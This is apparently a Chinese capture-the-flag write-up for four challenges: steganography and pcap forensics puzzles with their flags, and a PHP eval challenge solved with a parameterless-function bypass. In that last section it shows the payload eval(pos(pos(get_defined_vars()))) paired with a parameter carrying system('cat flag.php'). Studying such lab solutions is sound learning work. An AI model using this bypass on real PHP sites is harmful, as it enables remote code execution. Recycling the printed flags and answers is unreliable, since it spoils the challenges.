1.八卦迷宫
签到题,没啥好说的。
首先拿到附件发现是走迷宫,然后对照着图片两边的提示得到中文,再转成小写全拼即可。
得到flag:
cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}
2.无字天书
拿到附件先将pcap流量包解压出来,然后Wireshark导出所有http对象
找到其中的这个文件,看出504B0304是zip文件头,将其放进Winhex生成单独压缩包并解压出内部的flag.txt和key.ws
发现文件内部显示空白,但Ctrl+A能选中这些元素。
我先将key.ws中元素放到Whitelips the Whitespace IDE (vii5ard.github.io)中解析Whitespace,得到字符串” XiAnWillBeSafe”
随后将flag.txt用snow.exe解,输入SNOW.EXE -p XiAnWillBeSafe -C flag.txt
即可得到flag
得到flag:
cazy{C4n_y0u_underSt4nd_th3_b0oK_With0ut_Str1ng}
3.西安加油
拿到附件先将pcap流量包解压出来,然后Wireshark导出所有http对象,找到hint.txt,打开发现有base64编码,将其拿去解码,发现是zip文件,将其解压出来发现是一堆相同大小的图片,盲猜要进行拼接
然后在之前导出的http对象中发现hint.txt,扔去进行base32解码得到图片顺序
按照顺序将图片拼接完整得到flag,我用的是photoshop一张张手工拼接,写python脚本拼接亦可
得到flag:
cazy{make_XiAn_great_Again}
4.RCE_No_Para
开启环境查看web源码为
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){
eval($_GET['code']);
}else{
die("Hacker!");
}
}else{
show_source(__FILE__);
}
?>
现场学的,以下为查的资料:
一.
这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式
所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;
举个例子:
a(b(c()));可以使用,但是a('b')或者a('b','c')这种含有参数的都不能使用
所以我们要使用无参数的函数进行文件读取或者命令执行
首先分析
[^\W]
: 其中"[]"表示匹配的开始结束,"^"表示取反。
\W
,(注意这个W是大写的),匹配非字母、数字、下划线。等价于[^A-Za-z0-9_]
。 所以
[^\W]
是对上面的\w
取反: 匹配所有字母数字下划线的字母。不太熟悉正则的注意正则中的 “+”,是为了拼接整个表达式的,并不是需要我们匹配 "+",
然后是
\((?R)?\)
: 其中两侧的
\( 和\)
表示匹配括号。
(?R)
,(?R)表示递归表达式本身,
(?R)?
,最后的"?"表示匹配1个或者0个表达式本身,最后的 “?” 必不可少的。综上,我们大概就清晰了。
整个正则是要把对应形式的内容提取出来,然后通过preg_replace函数,用空字符串进行代替,得到一个字符串。
得到的这个字符串必须是完全等于“;”的。
我们的payload大致为如下形式,可以带字母,数字,下划线。
一定明白好这个正则,使用函数必须无参。
然后内层代码if(!preg_match('/session|end|next|header|dir/i',$_GET['code']))
相当于做了一个黑名单,一旦你的payload含有session|end|next|header|dir
这些元素便会跳出if条件语句攻击失败,因此要避开含有这些函数的payload
我首先测试得到:
?leon=phpinfo();&code=eval(pos(pos(get_defined_vars())));
成功运行phpinfo()获取到后台php版本
因此我开始找flag藏在哪里,输入url得到:
?leon=system('ls');&code=eval(pos(pos(get_defined_vars())));
找到flag后打开即可,最终构造的payload为:
/?leon=system(%27cat%20flag.php%27);&code=eval(pos(pos(get_defined_vars())));
此处需要注意的是原网页无消息返回,需要手动打开查看源代码才能看见flag(我就是这里慢了一点没提交上!)
最终payload的构造我暂时了解不深,以后有机会可以单独学一学再写成笔记,我是参考这篇文章对比比赛题目得到的最终payload:https://blog.csdn.net/qq_38154820/article/details/107171940?ops_request_misc=&request_id=&biz_id=102&utm_term=%E6%97%A0%E5%8F%82%E6%95%B0rce&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~sobaiduweb~default-1-107171940.nonecase&spm=1018.2226.3001.4450
至于其他MISC题我其实都有做,特别是朴实无华的取证,我感觉我已经做到最后阶段了,不过感觉还有所欠缺解不出最后的flag,之后官方题解出来之后或许我会在后面补上whiteup
Comments NOTHING